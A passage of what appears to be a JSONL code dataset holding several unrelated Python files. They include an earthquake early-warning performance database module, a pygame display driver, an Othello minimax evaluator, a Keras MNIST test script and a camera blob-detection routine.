NULL\",\n \"origin_time TEXT NOT NULL\",\n \"magnitude REAL NOT NULL\",\n \"magnitude_type TEXT DEFAULT Mw\",\n \"description TEXT\",\n \"UNIQUE(event_id) ON CONFLICT FAIL\",\n ]),\n (\"comcat_shakemaps\", [\n \"event_id TEXT NOT NULL PRIMARY KEY\",\n \"mmi_bias REAL\",\n \"mmi_max REAL\",\n \"pga_bias REAL\",\n \"pga_max REAL\",\n \"pgv_bias REAL\",\n \"pgv_max REAL\",\n \"psa03_bias REAL\",\n \"psa03_max REAL\",\n \"psa10_bias REAL\",\n \"psa10_max REAL\",\n \"psa30_bias REAL\",\n \"psa30_max REAL\",\n \"gmpe TEXT\",\n \"pgm2mi TEXT\",\n \"software_version TEXT\",\n \"UNIQUE(event_id) ON CONFLICT FAIL\",\n ]),\n (\"performance\", [\n \"comcat_id TEXT NOT NULL\",\n \"eew_server TEXT NOT NULL\",\n \"dm_id INTEGER NOT NULL\",\n \"dm_timestamp TEXT NOT NULL\",\n \"gmpe TEXT NOT NULL\",\n \"fragility TEXT NOT NULL\",\n \"magnitude_threshold REAL NOT NULL\",\n \"mmi_threshold REAL NOT NULL\",\n \"alert_latency_sec REAL NOT NULL\",\n \"area_damage REAL NOT NULL\",\n \"area_alert REAL NOT NULL\",\n \"area_alert_perfect REAL NOT NULL\",\n \"area_costsavings_eew REAL NOT NULL\",\n \"area_costsavings_perfecteew REAL NOT NULL\",\n \"population_damage REAL NOT NULL\",\n \"population_alert REAL NOT NULL\",\n \"population_alert_perfect REAL NOT NULL\",\n \"population_costsavings_eew REAL NOT NULL\",\n \"population_costsavings_perfecteew REAL NOT NULL\",\n \"UNIQUE(comcat_id, eew_server, dm_id, gmpe, fragility, alert_latency_sec, magnitude_threshold, mmi_threshold) ON CONFLICT FAIL\",\n ]),\n]\n\n\nclass Operation(object):\n \"\"\"Database operation object for minimizing locking behavior in database queries.\n\n Based on Tranaction object in beets library\n (https://github.com/beetbox/beets/blob/master/beets/dbcore/db.py)\n\n \"\"\"\n\n def __init__(self, filename):\n self.connection = sqlite3.connect(filename, timeout=20.0)\n self.connection.row_factory = sqlite3.Row\n self.cursor = self.connection.cursor()\n return \n \n def __enter__(self):\n return self\n \n def __exit__(self, exc_type, exc_value, traceback):\n if self.connection:\n self.connection.commit()\n self.connection.close()\n self.connection = None\n self.cursor = None\n return\n\n\nclass AnalysisData(object):\n \"\"\"SQLite database with DM alerts and ComCat events.\n \"\"\"\n\n def __init__(self, filename):\n \"\"\"Constructor with filename.\n\n :type filename: str\n :param filename: Filename of SQLite database\n\n \"\"\"\n self.filename = filename\n \n return\n\n def operation(self):\n return Operation(self.filename)\n \n \n def init(self, key):\n \"\"\"Create database.\n \"\"\"\n with self.operation() as op:\n if key == \"all\":\n for name, columns in TABLES[::-1]:\n op.cursor.execute(\"DROP TABLE IF EXISTS {}\".format(name))\n for name,columns in TABLES:\n op.cursor.execute(\"CREATE TABLE {name} ({fields})\".format(name=name, fields=\", \".join(columns)))\n else:\n for name, columns in TABLES:\n if name == key:\n op.cursor.execute(\"DROP TABLE IF EXISTS {}\".format(name))\n op.cursor.execute(\"CREATE TABLE {name} ({fields})\".format(name=name, fields=\", \".join(columns)))\n return\n\n def add_alerts(self, alerts, replace=False):\n \"\"\"Add alert info to database.\n \"\"\"\n COLUMNS = (\n \"server\",\n \"event_id\",\n \"category\",\n \"message_type\",\n \"timestamp\",\n \"version\",\n \"magnitude\",\n \"magnitude_type\",\n \"latitude\",\n \"longitude\",\n \"depth_km\",\n \"origin_time\",\n \"num_stations\",\n )\n insertCols = \", \".join(COLUMNS)\n valueCols = \", \".join([\":{}\".format(col) for col in COLUMNS])\n cmd = \"INSERT\"\n if replace:\n cmd += \" OR REPLACE\"\n with self.operation() as op:\n try:\n #self.cursor.executemany(\"INSERT INTO eew_alerts({}) VALUES({})\".format(insertCols, valueCols), alerts)\n for alert in alerts:\n op.cursor.execute(\"{} INTO eew_alerts({}) VALUES({})\".format(cmd, insertCols, valueCols), alert)\n except sqlite3.IntegrityError as ex:\n logging.getLogger(__name__).debug(str(ex))\n #logging.getLogger(__name__).debug(str(alerts))\n logging.getLogger(__name__).debug(str(alert))\n return\n \n def add_event(self, event, replace=False):\n \"\"\"Add ComCat event to database.\n\n :type event: Detail event\n :param event: ComCat event to add to database.\n \"\"\"\n COLUMNS = (\n \"event_id\",\n \"latitude\",\n \"longitude\",\n \"depth_km\",\n \"origin_time\",\n \"magnitude\",\n \"magnitude_type\",\n \"description\",\n )\n\n originTime = event.time if event.time.tzinfo else event.time.replace(tzinfo=pytz.UTC)\n insertCols = \", \".join(COLUMNS)\n eventValues = (event.id, event.latitude, event.longitude, event.depth, originTime, event.magnitude, event[\"magType\"], event.location)\n valueCols = \",\".join(\"?\"*len(eventValues))\n cmd = \"INSERT\"\n if replace:\n cmd += \" OR REPLACE\"\n with self.operation() as op:\n try:\n op.cursor.execute(\"{0} INTO comcat_events({1}) VALUES({2})\".format(cmd, insertCols, valueCols), eventValues)\n except sqlite3.IntegrityError as ex:\n logging.getLogger(__name__).debug(str(ex))\n logging.getLogger(__name__).debug(str(event))\n return\n\n def add_shakemap_info(self, info, replace=False):\n \"\"\"Add ComCat ShakeMap info to database.\n\n :type info: dict\n :param info: ComCat ShakeMap info (from info.json or info.xml).\n \"\"\"\n COLUMNS = (\n \"event_id\",\n \"mmi_bias\",\n \"mmi_max\",\n \"pga_bias\",\n \"pga_max\",\n \"pgv_bias\",\n \"pgv_max\",\n \"psa03_bias\",\n \"psa03_max\",\n \"psa10_bias\",\n \"psa10_max\",\n \"psa30_bias\",\n \"psa30_max\",\n \"gmpe\",\n \"pgm2mi\",\n \"software_version\",\n )\n\n insertCols = \", \".join(COLUMNS)\n\n gmmod = info[\"processing\"][\"ground_motion_modules\"]\n infoDict = {\n \"event_id\": info[\"event_id\"],\n \"mmi_bias\": 0.0,\n \"mmi_max\": 0.0,\n \"pga_bias\": 0.0,\n \"pga_max\": 0.0,\n \"pgv_bias\": 0.0,\n \"pgv_max\": 0.0,\n \"psa03_bias\": 0.0,\n \"psa03_max\": 0.0,\n \"psa10_bias\": 0.0,\n \"psa10_max\": 0.0,\n \"psa30_bias\": 0.0,\n \"psa30_max\": 0.0,\n \"gmpe\": gmmod[\"gmpe\"][\"module\"],\n \"pgm2mi\": gmmod[\"pgm2mi\"][\"module\"] if \"pgm2mi\" in gmmod.keys() else gmmod[\"gmice\"][\"module\"],\n \"software_version\": info[\"processing\"][\"shakemap_versions\"][\"shakemap_revision\"],\n }\n # Update infoDict with available values.\n gm = info[\"output\"][\"ground_motions\"]\n for key,value in gm.items():\n if key.startswith(\"SA\"):\n dkey = key.replace(\"SA(\",\"psa\").replace(\")\",\"\").replace(\".\",\"\")\n infoDict[dkey+\"_bias\"] = value[\"bias\"] or 0.0\n infoDict[dkey+\"_max\"] = value[\"max\"] or 0.0 \n elif key != \"intensity\":\n infoDict[key.lower()+\"_bias\"] = value[\"bias\"] or 0.0\n infoDict[key.lower()+\"_max\"] = value[\"max\"] or 0.0\n else:\n infoDict[\"mmi_bias\"] = value[\"bias\"] or 0.0\n infoDict[\"mmi_max\"] = value[\"max\"] or 0.0\n infoValues = tuple([infoDict[col] for col in COLUMNS])\n valueCols = \",\".join(\"?\"*len(infoValues))\n cmd = \"INSERT\"\n if replace:\n cmd += \" OR REPLACE\"\n with self.operation() as op:\n try:\n op.cursor.execute(\"{0} INTO comcat_shakemaps({1}) VALUES({2})\".format(cmd, insertCols, valueCols), infoValues)\n except sqlite3.IntegrityError as ex:\n logging.getLogger(__name__).debug(str(ex))\n logging.getLogger(__name__).debug(str(info))\n return\n\n def add_performance(self, stats, replace=False):\n \"\"\"Add performance stats to database.\n\n :type stats: dict\n :param stats: Performance stats to add to database.\n \"\"\"\n COLUMNS = (\n \"comcat_id\",\n \"eew_server\",\n \"dm_id\",\n \"dm_timestamp\",\n \"gmpe\",\n \"fragility\",\n \"magnitude_threshold\",\n \"mmi_threshold\",\n \"alert_latency_sec\",\n \"area_damage\",\n \"area_alert\",\n \"area_alert_perfect\",\n \"area_costsavings_eew\",\n \"area_costsavings_perfecteew\",\n \"population_damage\",\n \"population_alert\",\n \"population_alert_perfect\",\n \"population_costsavings_eew\",\n \"population_costsavings_perfecteew\",\n )\n NTRIES = 50\n \n insertCols = \", \".join(COLUMNS)\n perfValues = [stats[col] for col in COLUMNS]\n perfCols = \",\".join(\"?\"*len(perfValues))\n cmd = \"INSERT\"\n if replace:\n cmd += \" OR REPLACE\"\n\n with self.operation() as op:\n try:\n op.cursor.execute(\"{0} INTO performance({1}) VALUES({2})\".format(cmd, insertCols, perfCols), perfValues)\n \n except sqlite3.IntegrityError as ex:\n logging.getLogger(__name__).debug(str(ex))\n logging.getLogger(__name__).debug(str(stats))\n\n return\n\n def find_match(self, comcatId, server):\n \"\"\"Find initial alert matching ComCat event.\n \"\"\"\n from . import greatcircle\n \n MAX_DISTANCE_DEG = 3.0\n MAX_DISTANCE_KM = 150.0\n MAX_TIME_SECS = 15.0\n VS = 3.0e+3\n\n with self.operation() as op:\n op.cursor.execute(\"SELECT * FROM comcat_events WHERE event_id=?\", (comcatId,))\n event = op.cursor.fetchone()\n\n lat = event[\"latitude\"]\n lon = event[\"longitude\"]\n ot = dateutil.parser.parse(event[\"origin_time\"])\n dt = datetime.timedelta(seconds=MAX_TIME_SECS)\n conditions = [\n \"category=?\",\n \"message_type=?\",\n \"latitude BETWEEN ? AND ?\",\n \"longitude BETWEEN ? AND ?\",\n \"origin_time BETWEEN ? AND ?\",\n ]\n values = (\n \"live\",\n \"new\",\n lat-MAX_DISTANCE_DEG, lat+MAX_DISTANCE_DEG,\n lon-MAX_DISTANCE_DEG, lon+MAX_DISTANCE_DEG,\n ot-dt, ot+dt,\n )\n op.cursor.execute(\"SELECT * FROM eew_alerts WHERE \" + \" AND \".join(conditions), values)\n alerts = op.cursor.fetchall()\n if 0 == len(alerts):\n return None\n \n # Get closest alert, ignoring deleted alerts\n minDist = 1.0e+30\n alertMatch = None\n for alert in alerts:\n # :TODO: Ignore deleted alerts\n # Ignore alerts from non-target servers\n if alert[\"server\"] !=\"unknown\" and alert[\"server\"] !=\"eew2\" and alert[\"server\"] != server:\n continue\n # Limit to distance range \n dist = greatcircle.distance(lon, lat, alert[\"longitude\"], alert[\"latitude\"])\n if dist*1e-3 > MAX_DISTANCE_KM:\n continue\n distOT = abs((dateutil.parser.parse(alert[\"origin_time\"])-ot).total_seconds())*VS\n if dist + distOT < minDist:\n alertMatch = alert\n minDist = dist\n return alertMatch\n\n def alerts(self, comcatId, server):\n \"\"\"Get ShakeAlert alerts for event matching ComCat id.\n\n :type comcatId: str\n :param comcatId: ComCat event id.\n \"\"\"\n alert = self.find_match(comcatId, server)\n if alert is None:\n return []\n \n # Get subsequent alerts matching id and instance within 10 min\n timestamp = dateutil.parser.parse(alert[\"timestamp\"])\n conditions = [\n \"category=?\",\n \"(message_type=? OR message_type=?)\",\n \"event_id=?\",\n \"server=?\",\n \"timestamp BETWEEN ? AND ?\",\n ]\n values = (\n \"live\",\n \"new\",\n \"update\",\n alert[\"event_id\"],\n alert[\"server\"],\n timestamp, timestamp+datetime.timedelta(minutes=10.0),\n )\n with self.operation() as op:\n op.cursor.execute(\"SELECT * FROM eew_alerts WHERE \" + \" AND \".join(conditions), values)\n alerts = op.cursor.fetchall()\n return alerts\n\n def performance_stats(self, comcatId, server, gmpe, fragility, alertLatencySec, magnitudeThreshold=None, mmiThreshold=None):\n \"\"\"\n \"\"\"\n conditions = [\n \"comcat_id=?\",\n \"eew_server=?\",\n \"gmpe=?\",\n \"fragility=?\",\n ]\n values = (\n comcatId,\n server,\n gmpe,\n fragility,\n )\n with self.operation() as op:\n op.cursor.execute(\"SELECT * FROM performance WHERE \" + \" AND \".join(conditions) + \" ORDER BY magnitude_threshold,mmi_threshold\", values)\n # :TODO: :KLUDGE: to get structured array\n # Can we use PRAGMA TABLE_INFO to get column name and type (to map to numpy.dtype)?\n dtype = [\n (\"comcat_id\", \"|S32\"),\n (\"eew_server\", \"|S32\"),\n (\"dm_id\", \"int32\"),\n (\"dm_timestamp\", \"|S32\"),\n (\"gmpe\", \"|S32\"),\n (\"fragility\", \"|S32\"),\n (\"magnitude_threshold\", \"float32\"),\n (\"mmi_threshold\", \"float32\"),\n (\"alert_latency_sec\", \"float32\"),\n (\"area_damage\", \"float32\"),\n (\"area_alert\", \"float32\"),\n (\"area_alert_perfect\", \"float32\"),\n (\"area_costsavings_eew\", \"float32\"),\n (\"area_costsavings_perfecteew\", \"float32\"),\n (\"population_damage\", \"float32\"),\n (\"population_alert\", \"float32\"),\n (\"population_alert_perfect\", \"float32\"),\n (\"population_costsavings_eew\", \"float32\"),\n (\"population_costsavings_perfecteew\", \"float32\"),\n ]\n results = op.cursor.fetchall()\n \n nrows = len(results)\n stats = numpy.zeros(nrows, dtype=dtype)\n for iresult, result in enumerate(results):\n stats[iresult] = tuple([result[key] for key in result.keys()])\n\n mask = numpy.ma.masked_values(stats[\"alert_latency_sec\"], alertLatencySec).mask\n stats = stats[mask]\n if magnitudeThreshold:\n mask = numpy.ma.masked_values(stats[\"magnitude_threshold\"], magnitudeThreshold).mask\n stats = stats[mask]\n if mmiThreshold:\n mask = numpy.ma.masked_values(stats[\"mmi_threshold\"], mmiThreshold).mask\n stats = stats[mask]\n return stats\n \n def most_recent_alert(self, server):\n \"\"\"Get most recent alert in database.\n\n :type server: str\n :param server: Name of EEW server associated with alerts.\n\n :returns: Most recent alert for server in database.\n \"\"\"\n with self.operation() as op:\n op.cursor.execute(\"SELECT * from eew_alerts ORDER BY date(timestamp) DESC LIMIT 1\")\n alert = op.cursor.fetchone()\n return alert\n \n def comcat_event(self, comcatId):\n \"\"\"Get ComCat event information.\n\n :type comcatId: str\n :param comcatId: ComCat event id\n \"\"\"\n with self.operation() as op:\n op.cursor.execute(\"SELECT * FROM comcat_events WHERE event_id=?\", (comcatId,))\n event = op.cursor.fetchone()\n return event\n\n def comcat_shakemap(self, comcatId):\n \"\"\"Get ComCat ShakeMap information.\n\n :type comcatId: str\n :param comcatId: ComCat event id\n \"\"\"\n with self.operation() as op:\n op.cursor.execute(\"SELECT * FROM comcat_shakemaps WHERE event_id=?\", (comcatId,))\n shakemap = op.cursor.fetchone()\n return shakemap\n \n def tables_info(self):\n \"\"\"Returns string with database summary.\n \"\"\"\n sout = \"\"\n with self.operation() as op:\n for name,columns in TABLES:\n op.cursor.execute(\"PRAGMA TABLE_INFO({})\".format(name))\n info = op.cursor.fetchall()\n op.cursor.execute(\"SELECT COUNT(*) FROM {}\".format(name))\n nrows = op.cursor.fetchall()[0][0]\n\n sout += \"Table {}\\n\".format(name)\n sout += \" Columns\\n\"\n for column in info:\n sout += \" {name:16} {type:16}\\n\".format(name=column[1], type=column[2])\n sout += \" Number of rows: {}\\n\".format(nrows)\n return sout\n\n def summary(self):\n \"\"\"Returns string with database summary.\n \"\"\"\n sout = \"\"\n\n with self.operation() as op:\n \n # Comcat events\n sout += \"\\nComCat Events\\n\"\n op.cursor.execute(\"SELECT * FROM comcat_events ORDER BY origin_time\")\n rows = op.cursor.fetchall()\n for row in rows:\n ot = dateutil.parser.parse(row[\"origin_time\"])\n sout += \"{row[event_id]} {row[longitude]:9.4f} {row[latitude]:8.4f} {row[depth_km]:4.1f} {ot:%Y-%m-%dT%H:%M} {row[magnitude_type]:3s}{row[magnitude]:.2f} {row[description]}\\n\".format(row=row, ot=ot)\n \n # Comcat Shakemap\n sout += \"\\nShakeMap Info\\n\"\n op.cursor.execute(\"SELECT * FROM comcat_shakemaps ORDER BY event_id\")\n rows = op.cursor.fetchall()\n for row in rows:\n event = self.comcat_event(row[\"event_id\"])\n sout += \"{row[event_id]} {event[magnitude_type]:3s}{event[magnitude]:.2f} {row[mmi_max]:3.1f} {row[pga_max]:6.2f}%g {row[pgv_max]:5.1f}cm/s {row[mmi_bias]:5.2f} {row[pga_bias]:5.2f} {row[pgv_bias]:5.2f} {row[gmpe]} {row[pgm2mi]} v{row[software_version]} {event[description]}\\n\".format(row=row, event=event)\n \n # Alerts\n \n # Performance\n sout += \"\\nPerformance Data\\n\"\n op.cursor.execute(\"SELECT * FROM performance ORDER BY comcat_id,fragility,gmpe,magnitude_threshold,mmi_threshold,alert_latency_sec\")\n rows = op.cursor.fetchall()\n for row in rows:\n event = self.comcat_event(row[\"comcat_id\"])\n sout += \"{row[comcat_id]} {event[magnitude_type]:3s}{event[magnitude]:.2f} {row[gmpe]} {row[fragility]} {row[magnitude_threshold]:3.1f} {row[mmi_threshold]:3.1f} {row[alert_latency_sec]:3.1f} {row[area_costsavings_eew]:6.2f} {row[area_costsavings_perfecteew]:6.2f} {row[population_costsavings_eew]:6.2f} {row[population_costsavings_perfecteew]:6.2f} {event[description]}\\n\".format(row=row, event=event)\n return sout\n\n def show_matches(self, server):\n \"\"\"Show matches.\n \"\"\"\n with self.operation() as op:\n op.cursor.execute(\"SELECT * from comcat_events ORDER BY event_id\")\n events = op.cursor.fetchall()\n \n for event in events:\n alert = self.find_match(event[\"event_id\"], server)\n if alert:\n print(\"COMAT {event[event_id]} M{event[magnitude]:.2f} {event[longitude]:.3f} {event[latitude]:.3f} {event[origin_time]} ALERT {alert[event_id]} {alert[longitude]:.3f} {alert[latitude]:.3f} {alert[origin_time]} {alert[server]}\".format(event=event, alert=alert))\n else:\n print(\"COMAT {event[event_id]} M{event[magnitude]:.2f} {event[longitude]:.3f} {event[latitude]:.3f} {event[origin_time]} ALERT None\".format(event=event))\n return\n\n# End of file\n","sub_path":"eewperformance/analysisdb.py","file_name":"analysisdb.py","file_ext":"py","file_size_in_byte":21577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"459679590","text":"import os\nimport pygame\nimport math\nfrom paperui.core import ScreenDrawer\n\nclass FrameBufferDrawer(ScreenDrawer):\n def __init__(self):\n pygame.display.init()\n\n self.size = (pygame.display.Info().current_w, pygame.display.Info().current_h)\n ScreenDrawer.__init__(self, width=self.size[0], height=self.size[1])\n \n\n self.display = pygame.display.set_mode(self.size, pygame.FULLSCREEN)\n \n # Clear the screen to start\n self.display.fill((255, 255, 255))\n pygame.display.update()\n\n def __del__(self):\n pass\n\n def send(self):\n self.display.fill((255, 255, 255))\n \n scrn = self.screen.convert(\"RGB\").tobytes()\n \n img = pygame.image.fromstring(scrn, self.size, \"RGB\")\n self.display.blit(img, (0,0))\n \n pygame.display.update()\n \n def clear(self):\n self.new_screen()\n self.send()\n","sub_path":"paperui/fb.py","file_name":"fb.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"48424591","text":"EMPTY = 0\nBLACK = 1\nWHITE = 2\nINFINITY = 100000\n\n\nclass Evaluator(object):\n WIPEOUT_SCORE = 1000 \n PIECE_COUNT_WEIGHT = [0, 0, 0, 4, 1]\n POTENTIAL_MOBILITY_WEIGHT = [5, 4, 3, 2, 0]\n MOBILITY_WEIGHT = [7, 6, 5, 4, 0]\n CORNER_WEIGHT = [35, 35, 35, 35, 0]\n EDGE_WEIGHT = [0, 3, 4, 5, 0]\n XSQUARE_WEIGHT = [-8, -8, -8, -8, 0]\n\n def get_piece_differential(self, deltaBoard, band):\n if Evaluator.PIECE_COUNT_WEIGHT[band] != 0:\n whites, blacks, empty = deltaBoard.count_stones()\n if self.player == WHITE:\n myScore = whites\n yourScore = blacks\n else:\n myScore = blacks\n yourScore = whites\n return Evaluator.PIECE_COUNT_WEIGHT[band] * (myScore - yourScore)\n return 0\n\n def get_corner_differential(self, deltaCount, deltaBoard, band):\n if Evaluator.CORNER_WEIGHT[band] != 0:\n myScore = 0\n yourScore = 0\n for i in [0, 7]:\n for j in [0, 7]:\n if deltaBoard.board[i][j] == self.player:\n myScore += 1\n elif deltaBoard.board[i][j] == self.enemy:\n yourScore += 1\n if myScore + yourScore >= deltaCount:\n break\n if myScore + yourScore >= deltaCount:\n break\n return Evaluator.CORNER_WEIGHT[band] * (myScore - yourScore)\n return 0\n\n def get_edge_differential(self, deltaCount, deltaBoard, band):\n\n if Evaluator.EDGE_WEIGHT[band] != 0:\n myScore = 0\n yourScore = 0\n squares = [(a, b) for a in [0, 7] for b in range(1, 7)] \\\n + [(a, b) for a in range(1, 7) for b in [0, 7]]\n for x, y in squares:\n if deltaBoard.board[x][y] == self.player:\n myScore += 1\n elif deltaBoard.board[x][y] == self.enemy:\n yourScore += 1\n if myScore + yourScore >= deltaCount:\n break\n return Evaluator.EDGE_WEIGHT[band] * (myScore - yourScore)\n return 0\n\n def get_xsquare_differential(self, startBoard, currentBoard, deltaBoard, band):\n\n if Evaluator.XSQUARE_WEIGHT[band] != 0:\n myScore = 0\n yourScore = 0\n for x, y in [(a, b) for a in [1, 6] for b in [1, 6]]:\n if deltaBoard.board[x][y] != EMPTY and startBoard.board[x][y] == EMPTY:\n cornerx = x\n cornery = y\n if cornerx == 1:\n cornerx = 0\n elif cornerx == 6:\n cornerx = 7\n if cornery == 1:\n cornery = 0\n elif cornery == 6:\n cornery = 7\n if currentBoard.board[cornerx][cornery] == EMPTY:\n if currentBoard.board[x][y] == self.player:\n myScore += 1\n elif currentBoard.board[x][y] == self.enemy:\n yourScore += 1\n return Evaluator.XSQUARE_WEIGHT[band] * (myScore - yourScore)\n return 0\n\n def get_potential_mobility_differential(self, startBoard, currentBoard, band):\n\n if Evaluator.POTENTIAL_MOBILITY_WEIGHT[band] != 0:\n myScore = currentBoard.get_adjacent_count(\n self.enemy) - startBoard.get_adjacent_count(self.enemy)\n yourScore = currentBoard.get_adjacent_count(\n self.player) - startBoard.get_adjacent_count(self.player)\n return Evaluator.POTENTIAL_MOBILITY_WEIGHT[band] * (myScore - yourScore)\n return 0\n\n def get_mobility_differential(self, startBoard, currentBoard, band):\n\n myScore = len(currentBoard.get_valid_moves(self.player)) - \\\n len(startBoard.get_valid_moves(self.player))\n yourScore = len(currentBoard.get_valid_moves(\n self.enemy)) - len(startBoard.get_valid_moves(self.enemy))\n return Evaluator.MOBILITY_WEIGHT[band] * (myScore - yourScore)\n\n def score(self, startBoard, board, currentDepth, player, opponent):\n\n self.player = player\n self.enemy = opponent\n sc = 0\n whites, blacks, empty = board.count_stones()\n deltaBoard = board.compare(startBoard)\n deltaCount = sum(deltaBoard.count_stones())\n\n if (self.player == WHITE and whites == 0) or (self.player == BLACK and blacks == 0):\n return -Evaluator.WIPEOUT_SCORE\n if (self.enemy == WHITE and whites == 0) or (self.enemy == BLACK and blacks == 0):\n return Evaluator.WIPEOUT_SCORE\n\n piece_count = whites + blacks\n band = 0\n if piece_count <= 16:\n band = 0\n elif piece_count <= 32:\n band = 1\n elif piece_count <= 48:\n band = 2\n elif piece_count <= 64 - currentDepth:\n band = 3\n else:\n band = 4\n\n sc += self.get_piece_differential(deltaBoard, band)\n sc += self.get_corner_differential(deltaCount, deltaBoard, band)\n sc += self.get_edge_differential(deltaCount, deltaBoard, band)\n sc += self.get_xsquare_differential(startBoard,\n board, deltaBoard, band)\n sc += self.get_potential_mobility_differential(startBoard, board, band)\n sc += self.get_mobility_differential(startBoard, board, band)\n return sc\n\n\nclass Minimax(object):\n\n def __init__(self, heuristic_eval):\n\n self.heuristic_eval = heuristic_eval\n\n def minimax(self, board, parentBoard, depth, player, opponent,\n alfa=-INFINITY, beta=INFINITY):\n bestChild = board\n if depth == 0:\n return (self.heuristic_eval(parentBoard, board, depth,\n player, opponent), board)\n for child in board.next_states(player):\n score, newChild = self.minimax(\n child, board, depth - 1, opponent, player, -beta, -alfa)\n score = -score\n if score > alfa:\n alfa = score\n bestChild = child\n if beta <= alfa:\n break\n return (self.heuristic_eval(board, board, depth, player,\n opponent), bestChild)\n","sub_path":"Assignment 4/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"213885246","text":"# 1. Import libraries and modules\nimport numpy as np\nnp.random.seed(123) # for reproducibility\n \nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Convolution2D, MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras.datasets import mnist\nimport cv2\nimport matplotlib.pyplot as plt\nfrom keras.models import load_model\n\n#model = load_model('/home/bme/keras/keras_test/my_model_mnist.h5')\n#model = load_model(r'd:\\keras_test\\my_model_mnist.h5')\n#model = load_model('d:\\\\temp\\\\keras_test\\\\my_model_mnist.h5')\n#model = load_model('d:/temp/keras_test/my_model_mnist.h5')\nmodel = load_model(r'd:\\model.hdf5')\n\nimg = cv2.imread(r'd:\\number_2.jpg',0);\nimg2 = cv2.resize(img,(28,28))\n#img = img2.reshape(1,1,28,28);\nimg = img2.reshape(1,28,28,1);\nimg = img.astype('float32');\nimg = 1.0 - img/255.0\nb = img[0,:,:]\nimg3 = np.asarray(img);\n\n\n\nimg = cv2.imread(r'd:\\number_5.jpg',0);\nimg2 = cv2.resize(img,(28,28))\n#img = img2.reshape(1,1,28,28);\nimg = img2.reshape(1,28,28,1);\nimg = img.astype('float32');\nimg = 1.0 - img/255.0\nb = img[0,:,:]\nimg3 = np.append(img3,img, axis=0);\n\nimg = cv2.imread(r'd:\\number_9.jpg',0);\nimg2 = cv2.resize(img,(28,28))\n#img = img2.reshape(1,1,28,28);\nimg = img2.reshape(1,28,28,1);\nimg = img.astype('float32');\nimg = 1.0 - img/255.0\nb = img[0,:,:]\nimg3 = np.append(img3,img, axis=0);\n\nprint('Ready to classify')\nout = model.predict(img3)\nprint(out)\n\nplt.imshow(img[0,0,:,:])\n#model.predict(img)\n\n\n","sub_path":"MNIST_example deep learning/keras_test02.py","file_name":"keras_test02.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"292731711","text":"#Old Learning to Photo#\ndef learningToPhoto():\n \"\"\"\n blackPixels = []\n whitePixels = []\n xBlack = 0\n yBlack = 0\n \"\"\"\n try:\n origPic = camera.takePicture()\n except SystemError:\n print(\"I'm in except\")\n origPic = camera.takePicture()\n #wait(5)\n #origPic = camera.takePicture()\n yuvValues = []\n yiqPic = Picture(origPic)\n joshPic = Picture(origPic)\n printedYIQPic = Picture(yiqPic)\n blackPixels = []\n whitePixels = []\n xBlack = 0\n yBlack = 0\n #camera.manualCamera(900,900,100)\n I = camera.takePicture()\n #I = klaus.manualCamera(900,600,900)\n pic = Picture(I)\n for x in range(origPic.width):\n for y in range(origPic.height):\n rgbStuffs = origPic.getRGB(x,y)\n #print(rgbStuffs)\n yiqValues=colorsys.rgb_to_yiq(rgbStuffs[0],rgbStuffs[1],rgbStuffs[2])\n \n joshPic.setRGB(x,y,yiqValues[0],yiqValues[1],yiqValues[2])\n yiqPixel = yiqPic.getRGB(x,y)\n #printedYIQPic = Picture(yiqPic)\n \n if yiqPixel[0] <= 0.580 and yiqPixel[1] >= 0.043 and yiqPixel[2] >= 0.030:\n #Old YIQ Numbers\n #if yiqPixel[0] <= .299 and yiqPixel[0] >=.066 and yiqPixel[1] <= 0.092 and yiqPixel[2] >= -0.030:\n yiqPic.setRGB(x,y,0,0,0)\n #yiqPic.setRGB(x,y,255,255,255)\n blackPixels.append([x,y])\n xBlack += x\n yBlack += y\n else:\n yiqPic.setRGB(x,y,255,255,255)\n #yiqPic.setRGB(x,y,0,0,0)\n whitePixels.append([x,y])\n #show(pic,\"robot_display\")\n #show(yiqPic,\"blob_image\")\n #show(origPic, \"original_image\")\n #show(I, \"original_image\")\n #xCentroid = xBlack/len(blackPixels)\n #yCentroid = yBlack/len(blackPixels)\n try:\n xCentroid = xBlack/len(blackPixels)\n yCentroid = yBlack/len(blackPixels)\n except ZeroDivisionError:\n print(\"Zero Division Error\")\n global centroid\n centroid = [xCentroid,yCentroid]\n ### Grid of 16\n win.removeTagged(\"temp\")\n yiqPic.draw(win)\n vert13.draw(win)\n vert14.draw(win)\n vert15.draw(win)\n vert16.draw(win)\n hori4.draw(win)\n hori8.draw(win)\n hori12.draw(win)\n hori16.draw(win)\n show(joshPic, \"blob_image\")\n #learningToPhoto()\n #print(blackPixels)\n print(\"mass of centroid\", len(blackPixels))\n print(\"AVERAGE X VALUE\", xBlack/len(blackPixels) )\n print(\"AVERAGE Y VALUE\", yBlack/len(blackPixels) )\n win.draw(Circle((xCentroid,yCentroid),5))\n\n\n\n ###\n #Old Messy centroid data#\n ###\n \n #print(\"mass of centroid\", len(blackPixels))\n #print(\"AVERAGE X VALUE\", xBlack/len(blackPixels) )\n #print(\"AVERAGE Y VALUE\", yBlack/len(blackPixels) )","sub_path":"All New and Cleaned Code/cameraBlob-master/OLD/Slightly newer/3-1-17/Old Learning TO Photo.py","file_name":"Old Learning TO Photo.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"116946127","text":"#!/usr/bin/env python3\n# Name: Jude Allen Joseph (jajoseph)\n# Group Members: None\n\nimport sequenceAnalysis\n\n\"\"\"\n genome analyzer class\n initializes object with fastaReader and NucParams\n\n analyze - reads fasta file and uses NucParams to build:\n nucloetide comp dictioanry\n codon comp dictionary\n aa comp dictionary\n and print out analysis\n\"\"\"\n\nclass geneomeAnalzer:\n def __init__(self):\n self.fastaReader = sequenceAnalysis.FastAreader()\n self.analyzer = sequenceAnalysis.NucParams()\n\n def analyze(self):\n for header, sequence in self.fastaReader.readFasta():\n self.analyzer.addSequence(sequence)\n\n '''get all the dictionaries we need for analysis'''\n nucComp = 